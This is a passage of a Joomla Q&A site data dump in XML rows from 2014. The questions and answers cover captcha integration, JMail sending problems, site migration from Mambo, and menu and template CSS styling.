  <row Id="869" PostTypeId="2" ParentId="868" CreationDate="2014-05-15T19:50:28.573" Score="3" Body="&lt;p&gt;you need add a &quot;request&quot; fields group, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;       &amp;lt;field name=&quot;format&quot; type=&quot;hidden&quot; default=&quot;raw&quot;/&amp;gt;&#xA;       &amp;lt;field name=&quot;task&quot; type=&quot;hidden&quot; default=&quot;start&quot;/&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="87" LastActivityDate="2014-05-15T19:50:28.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="870" PostTypeId="1" AcceptedAnswerId="873" CreationDate="2014-05-15T21:06:44.140" Score="3" ViewCount="2247" Body="&lt;p&gt;Rather then adding a custom solution, the way I am building the component tries to use Joomla API's and such as much as possible. If the same could be done for Captcha that would be extremely beneficial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default Captcha can be set in the global configuration, however some searching has turned up nothing on how to use that in a third party component.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="159" LastEditDate="2014-05-16T18:19:57.660" LastActivityDate="2014-05-16T18:19:57.660" Title="Is there a way to use Joomla's system captcha with a custom extension?" Tags="|cms|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="871" PostTypeId="2" ParentId="864" CreationDate="2014-05-15T21:12:39.037" Score="9" Body="&lt;p&gt;Instead of using and incrementing $num, replace that with $item-&gt;level.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;ul class=&quot;nav-child unstyled small lvl_'.$item-&amp;gt;level.'&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Your code was missing a closing double quote for the class attribute as well.&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditDate="2014-05-15T21:28:46.377" LastActivityDate="2014-05-15T21:28:46.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="872" PostTypeId="2" ParentId="870" CreationDate="2014-05-15T21:27:03.263" Score="0" Body="&lt;p&gt;Before you do anything, ensure you're running the latest version of Joomla as Google changed the location of the ReCaptcha library which meant that all sites using the integrated ReCaptcha failed. It was temporarily disabled in Joomla 3.2. I'm not sure on the exact version it I'm sure it will work with Joomla 3.2.4 and above&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To integrate Joomla's built in ReCaptcha, have a look at the following documentation which provides a good guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_do_you_use_Recaptcha_in_Joomla%3F&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_do_you_use_Recaptcha_in_Joomla%3F&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-15T21:27:03.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="873" PostTypeId="2" ParentId="870" CreationDate="2014-05-15T22:07:05.723" Score="5" Body="&lt;p&gt;As far as I know there isn't any sort of default captcha in Joomla's API. The only captcha options available are a core plugin, which is ReCaptcha as @Lodder mentioned. Incorporating that plugin as about as core API as you can get I believe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the way you use that plugin is by using the plugin event for Captchas. This way any other captcha plugin configured by the CMS admin will be used, no matter what it is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method to do that is explained very well here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/12840015/how-to-use-joomla-recaptcha-plugin-to-my-custom-module&quot;&gt;https://stackoverflow.com/questions/12840015/how-to-use-joomla-recaptcha-plugin-to-my-custom-module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some sample code I wrote using the method described there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The view &lt;a href=&quot;https://github.com/drmmr763/com_authorize/blob/master/components/com_authorize/views/authorize/tmpl/default.php#L78&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/drmmr763/com_authorize/blob/master/components/com_authorize/views/authorize/tmpl/default.php#L78&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Overridden controller with checkCaptcha function:&#xA;&lt;a href=&quot;https://github.com/drmmr763/com_authorize/blob/master/components/com_authorize/controllers/authorize.php#L117&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/drmmr763/com_authorize/blob/master/components/com_authorize/controllers/authorize.php#L117&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then I call that function in my pay() method:&#xA;3) &lt;a href=&quot;https://github.com/drmmr763/com_authorize/blob/master/components/com_authorize/controllers/authorize.php#L48&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/drmmr763/com_authorize/blob/master/components/com_authorize/controllers/authorize.php#L48&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-05-15T22:07:05.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="874" PostTypeId="1" AcceptedAnswerId="880" CreationDate="2014-05-15T22:37:46.457" Score="2" ViewCount="2598" Body="&lt;p&gt;I have a component that I built to make calculations. I would like to allow the person to email their results to themselves. I have tried to create a mail function in the controller of the default.php for the tmpl page, shown here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public  function sendMail () {&#xA;&#xA;$mailer = JFactory::getMailer();&#xA;&#xA;$config = JFactory::getConfig();&#xA;&#xA;$sender = array(&#xA;    $config-&amp;gt;get( 'config.mailfrom' ),&#xA;    $config-&amp;gt;get( 'config.fromname' ) );&#xA;$mailer-&amp;gt;setSender($sender);&#xA;&#xA;$recipient = $calculatorEmailAddress;&#xA;&#xA;$mailer-&amp;gt;addRecipient($recipient);&#xA;&#xA;&#xA;$body = '&amp;lt;div id=&quot;emtresults&quot;&amp;gt;'&#xA;    . '&amp;lt;table border=&quot;0&quot; width=&quot;75%&quot; max-width=&quot;750px&quot; cellpadding=&quot;1&quot; cellspacing=&quot;1&quot; class=&quot;table&quot;&amp;gt;'&#xA;    . '&amp;lt;tr class=&quot;calcresultslabels&quot;&amp;gt;'&#xA;    . '  &amp;lt;th&amp;gt; &amp;lt;/th&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;10foot&amp;lt;/th&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;20foot&amp;lt;/th&amp;gt;'&#xA;    . '   &amp;lt;th&amp;gt;Savings&amp;lt;/th&amp;gt;'&#xA;    . '   &amp;lt;/tr&amp;gt;'&#xA;    . ' &amp;lt;tr class=&quot;calcresults&quot;&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;Materials&amp;lt;/th&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($tenmat1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($twentymat1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($matsavings1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;/tr&amp;gt;'&#xA;    . ' &amp;lt;tr class=&quot;calcresults&quot;&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;Tax&amp;lt;/th&amp;gt;'&#xA;    . '    &amp;lt;td align=&quot;center&quot;&amp;gt;&amp;lt;div&amp;gt; $  &amp;lt;?php echo round($tentax1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '    &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($twentytax1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($taxsavings1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;tr&amp;gt;'&#xA;    . ' &amp;lt;tr class=&quot;calcresults&quot;&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;Hours&amp;lt;/th&amp;gt;'&#xA;    . '    &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($tenhours1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '    &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($twentyhours1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '     &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($hourssavings1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;/tr&amp;gt;'&#xA;    . ' &amp;lt;tr class=&quot;calcresults&quot;&amp;gt;'&#xA;    . '   &amp;lt;th&amp;gt;Total&amp;lt;/th&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($tentotal1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($twentytotal1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($totalsavings1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;/tr&amp;gt;'&#xA;    . ' &amp;lt;/table&amp;gt;'&#xA;    . ' &amp;lt;/div&amp;gt;';&#xA;&#xA;$mailer-&amp;gt;isHTML(true);&#xA;$mailer-&amp;gt;Encoding = 'base64';&#xA;$mailer-&amp;gt;setSubject('EMT Calculator App Results');&#xA;$mailer-&amp;gt;setBody($body);&#xA;&#xA;$send = $mailer-&amp;gt;Send();&#xA;if ( $send !== true ) {&#xA;    echo 'Error sending email: ' . $send-&amp;gt;__toString();&#xA;} else {&#xA;    echo 'Mail sent';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then have the action in the /components/component/views/view/tmpl/default.php and code it as here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method='post' action='/index.php?option=com_emtapp&amp;amp;view=calculators&amp;amp;task=sendMail'&amp;gt;&#xA;&amp;lt;tr class=&quot;calcrow&quot;&amp;gt;&amp;lt;td&amp;gt;Email your Results:&amp;lt;/td&amp;gt;&amp;lt;td align=&quot;center&quot;&amp;gt;&amp;lt;div&amp;gt; &amp;lt;input type=&quot;email&quot; name=&quot;calculatorEmailAddress&quot; value=&quot;&quot;/&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;tenmat1&quot; value=&quot;&amp;lt;?php echo round($tenmat)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;twentymat1&quot; value=&quot;&amp;lt;?php echo round($twentymat)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;matsavings1&quot; value=&quot;&amp;lt;?php echo round($matsavings)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;tentax1&quot; value=&quot;&amp;lt;?php echo round($matsavings)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;twentytax1&quot; value=&quot;&amp;lt;?php echo round($twentytax)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;taxsavings1&quot; value=&quot;&amp;lt;?php echo round($taxsavings)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;tenhours1&quot; value=&quot;&amp;lt;?php echo round($tenhours)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;twentyhours1&quot; value=&quot;&amp;lt;?php echo round($twentyhours)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;hourssavings1&quot; value=&quot;&amp;lt;?php echo round($hourssavings)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;tentotal1&quot; value=&quot;&amp;lt;?php echo round($tentotal)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;twentytotal1&quot; value=&quot;&amp;lt;?php echo round($twentytotal)?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;totalsavings1&quot; value=&quot;&amp;lt;?php echo round($totalsavings)?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;input type='submit' value='Email Your Results'/&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it will not send any email. Does any one have any suggestion as to what I am doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="159" LastEditDate="2014-05-16T18:17:09.073" LastActivityDate="2019-06-13T05:52:36.650" Title="Script using JMail not sending the email" Tags="|component|development|emails|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="875" PostTypeId="1" AcceptedAnswerId="876" CreationDate="2014-05-15T23:27:32.050" Score="4" ViewCount="637" Body="&lt;p&gt;Among sites I manange there are two which are still running very old installations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mambo 4.5.5 Stable &lt;/li&gt;&#xA;&lt;li&gt;Joomla! 1.0.15 Stable &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There was no practical need of migration last years, they have only minor content updates, they run stable having almost no extensions and the only active user is &lt;em&gt;administrator&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand migration of their content might need more than one phase but I'm fine with that. &lt;strong&gt;Could you please help me with drawing the upgrade path?&lt;/strong&gt; I think Mambo should be taken first to J! 1.0, then both 1.0 sites to J! 1.5 and then both to 2.5/3.X.  Correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content I'd like to preserve – only core-related stuff:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;articles (&lt;em&gt;static content items&lt;/em&gt; and standard content items) [about 200]&lt;/li&gt;&#xA;&lt;li&gt;categories (/sections) [about 50]&lt;/li&gt;&#xA;&lt;li&gt;menu items [about 50]&lt;/li&gt;&#xA;&lt;li&gt;web links [about 30]&lt;/li&gt;&#xA;&lt;li&gt;content of custom HTML modules [about 15]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is semi-automatic migration viable or should I think of copy-paste manual work as of faster and less painful solution? &lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-05-15T23:40:23.513" LastActivityDate="2014-05-17T00:03:05.120" Title="How to get Mambo 4.5.5 and Joomla! 1.0.15 to recent Joomla?" Tags="|migration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="876" PostTypeId="2" ParentId="875" CreationDate="2014-05-16T00:05:14.967" Score="4" Body="&lt;p&gt;Before you start anything, make sure you have a backup of both sites just incase any mistakes are made in the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For migrating Mambo to Joomla 1.0, have a look at the following tutorial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://help.joomla.org/content/view/818/181/&quot; rel=&quot;nofollow&quot;&gt;http://help.joomla.org/content/view/818/181/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will need to download a copy of Joomla 1.0 for this which you can get from here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mirror.phil-taylor.com/&quot; rel=&quot;nofollow&quot;&gt;http://mirror.phil-taylor.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, the next step is to upgrade to Joomla 1.5. Have a read of this detailed guide on how to do so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Migrating_from_1.0.x_to_1.5_Stable&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Migrating_from_1.0.x_to_1.5_Stable&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link to the Migrator is broken but the Migrator can be found at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=430&amp;amp;t=388744&amp;amp;p=2990436#p2990436&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=430&amp;amp;t=388744&amp;amp;p=2990436#p2990436&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now comes the easier part, upgrading to Joomla 2.5, but firstly, ensure you have the latest version of Joomla 1.5 which is 1.5.26. To upgrade to 2.5, you can use &lt;a href=&quot;http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration/11658&quot; rel=&quot;nofollow&quot;&gt;JUpgrade&lt;/a&gt; which is a component that does all the work for you. Simply install it and following the instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once upgraded, you should see that you're now running Joomla 2.5.20. From now on, you can upgrade to a newer Joomla version using the 1 click update feature built into the Joomla backend. Simply go to &lt;strong&gt;Components&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;Joomla! Update&lt;/strong&gt;. You may need to click on the Options button and select &quot;Short Term Support&quot; to upgrade from Joomla 2.5.x to Joomla 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole process of migrating and upgrading may take a little time as there are a fair amount of things to be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck and hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="120" LastEditDate="2014-05-17T00:03:05.120" LastActivityDate="2014-05-17T00:03:05.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="877" PostTypeId="2" ParentId="874" CreationDate="2014-05-16T04:24:42.297" Score="0" Body="&lt;p&gt;Are you making sure to get the &lt;code&gt;calculatorsEmailAddress&lt;/code&gt; from the application input? I don't see it declared in the function. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$calculatorsEmailAddress = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('calculatorsEmailAddress', null, 'string'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might want to use the &lt;code&gt;JMailer::isEmail&lt;/code&gt; method to validate the address before setting the recipient. &lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="12352" LastEditDate="2019-06-10T14:14:06.850" LastActivityDate="2019-06-10T14:14:06.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="878" PostTypeId="1" CreationDate="2014-05-16T04:42:40.360" Score="2" ViewCount="504" Body="&lt;p&gt;I'm trying to adjust the body for every screen resolution. I'm using Joomla to develop a website, and as you know it has a default template with its own CSS. Then I created some articles that need a different CSS file, because of same tags (for example ul, li.. etc) and I've should set the template like component (I did that simply attaching &quot;tmpl=component&quot; at the end of the URL). Unfortunately that's a problem because if I'd like to edit the body in these articles I can't; infact the body tag has become &quot;body contentpane&quot; that is completely different. I tried two different ways: first of all I set a specific template for every article but it didn't work; so I attempted to insert a blank template but I think it's not easy to set up all the details of that Thanks everyone for the attention!!&lt;/p&gt;&#xA;" OwnerUserId="423" LastEditorUserId="423" LastEditDate="2014-05-17T09:44:48.233" LastActivityDate="2014-07-17T13:16:50.643" Title="Adjust screen resolution" Tags="|articles|css|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="879" PostTypeId="2" ParentId="878" CreationDate="2014-05-16T05:46:42.347" Score="0" Body="&lt;p&gt;By using &quot;tmpl=component&quot; OR &quot;tmpl=my_new_template_name&quot; you can have many different layout schemes for you website by putting a file in the directory &lt;strong&gt;/templates/system/my_new_template_name.php&lt;/strong&gt;. If you are using &quot;tmpl=component&quot; then you can modify &lt;strong&gt;/templates/system/component.php&lt;/strong&gt; as per your requirements.&#xA;Let me know if you need more guidance.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-05-16T05:46:42.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="880" PostTypeId="2" ParentId="874" CreationDate="2014-05-16T14:38:24.057" Score="3" Body="&lt;p&gt;You should really be using a controller event for the sendMail function. Take a look at the existing contact form stuff:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form view:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_contact/views/contact/tmpl/default_form.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/components/com_contact/views/contact/tmpl/default_form.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The view has a submit which sets the task (contact.submit):&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_contact/views/contact/tmpl/default_form.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/components/com_contact/views/contact/tmpl/default_form.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the controller gets that task:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_contact/controllers/contact.php#L23&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/components/com_contact/controllers/contact.php#L23&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which then calls out to a private _sendMail function:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_contact/controllers/contact.php#L140&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/components/com_contact/controllers/contact.php#L140&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That function does all the work of generating the email contents and sending it out. &lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-05-16T14:38:24.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="881" PostTypeId="2" ParentId="878" CreationDate="2014-05-16T14:41:42.733" Score="1" Body="&lt;p&gt;Joomla has the ability to attach a page class for every site. Go to the Joomla Menu Manager and open a Menu point. Then search for the &quot;Page Class Suffix&quot; setting and put your own css class like &quot;flat-article-layout&quot;. Then you can use this class to design this particular page in your css like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.falt-article-layout ul li{list-style:none;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you try Template Overrides:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2014-05-16T14:41:42.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="882" PostTypeId="1" AcceptedAnswerId="884" CreationDate="2014-05-16T15:35:54.293" Score="1" ViewCount="1908" Body="&lt;p&gt;&lt;strong&gt;BACKGROUND&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m unable to style the current active menu item in Joomla 2.5. After much research and stuffing around it turns out that my problem is due to the fact that I am using a menu item type of “&lt;code&gt;menu item alias&lt;/code&gt;”. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example below illustrates my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let’s say I have a menu item called “tutorials” when I click on it and go to that page, I want the &lt;code&gt;tutorials menu item&lt;/code&gt; to be styled differently so that the user knows that they are on the tutorials page. Unfortunately, there is no “current” class attached to the menu,so this makes it difficult (impossible?) to style the menu item that matches the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTIONS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I style the current Joomla menu item when using menu item alias as the menu item type in Joomla 2.5?&lt;/li&gt;&#xA;&lt;li&gt;If I can't style it, is there a workaround? Either a hack or an alternative to menu item alias?&#xA;Keep in mind that I don’t want to create duplicate content.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A class of &lt;code&gt;active&lt;/code&gt; is added to the current menu. Here is an example of what I am seeing when I click on the uppermost menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oPHkT.jpg&quot; alt=&quot;CSS classes for uppermost menu item which is the current page&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with that is that all the submenu items are also styled. How do you prevent that?? Here is the CSS of a submenu that is a child of the current menu item (note that the current page is for the uppermost menu item).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8vwUa.jpg&quot; alt=&quot;CSS for submenu item which is a child of the uppermost current menu item&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've taken the answers on board and played around with the CSS some more. It turns out I was wrongly applying the CSS styling.&#xA;I should have used &lt;code&gt;li.active&lt;/code&gt; to style the menu item that matches the current page. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-05-17T01:39:24.567" LastActivityDate="2014-05-17T01:39:24.567" Title="How can I style the current Joomla menu item when using menu item alias as the menu item type in Joomla 2.5?" Tags="|joomla-2.5|menu|menu-item|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="883" PostTypeId="2" ParentId="874" CreationDate="2014-05-16T17:17:02.837" Score="1" Body="&lt;p&gt;&lt;code&gt;$calculatorEmailAddress&lt;/code&gt; does not seem to be declared, refer to Mathews's answer for a solution for that if that is the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also one issue I have run into with the mailer function has to do with SMTP, no form component or the base Joomla API for mail actually does any sort of log for the error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//all variables in here need to be defined&#xA;$body = '&amp;lt;div id=&quot;emtresults&quot;&amp;gt;'&#xA;    . '&amp;lt;table border=&quot;0&quot; width=&quot;75%&quot; max-width=&quot;750px&quot; cellpadding=&quot;1&quot; cellspacing=&quot;1&quot; class=&quot;table&quot;&amp;gt;'&#xA;    . '&amp;lt;tr class=&quot;calcresultslabels&quot;&amp;gt;'&#xA;    . '  &amp;lt;th&amp;gt; &amp;lt;/th&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;10foot&amp;lt;/th&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;20foot&amp;lt;/th&amp;gt;'&#xA;    . '   &amp;lt;th&amp;gt;Savings&amp;lt;/th&amp;gt;'&#xA;    . '   &amp;lt;/tr&amp;gt;'&#xA;    . ' &amp;lt;tr class=&quot;calcresults&quot;&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;Materials&amp;lt;/th&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($tenmat1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($twentymat1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($matsavings1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;/tr&amp;gt;'&#xA;    . ' &amp;lt;tr class=&quot;calcresults&quot;&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;Tax&amp;lt;/th&amp;gt;'&#xA;    . '    &amp;lt;td align=&quot;center&quot;&amp;gt;&amp;lt;div&amp;gt; $  &amp;lt;?php echo round($tentax1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '    &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($twentytax1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '   &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($taxsavings1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . ' &amp;lt;tr&amp;gt;'&#xA;    . ' &amp;lt;tr class=&quot;calcresults&quot;&amp;gt;'&#xA;    . '    &amp;lt;th&amp;gt;Hours&amp;lt;/th&amp;gt;'&#xA;    . '    &amp;lt;td align=&quot;center&quot;&amp;gt; $  &amp;lt;?php echo round($tenhours1)?&amp;gt;&amp;lt;/td&amp;gt;'&#xA;    . '   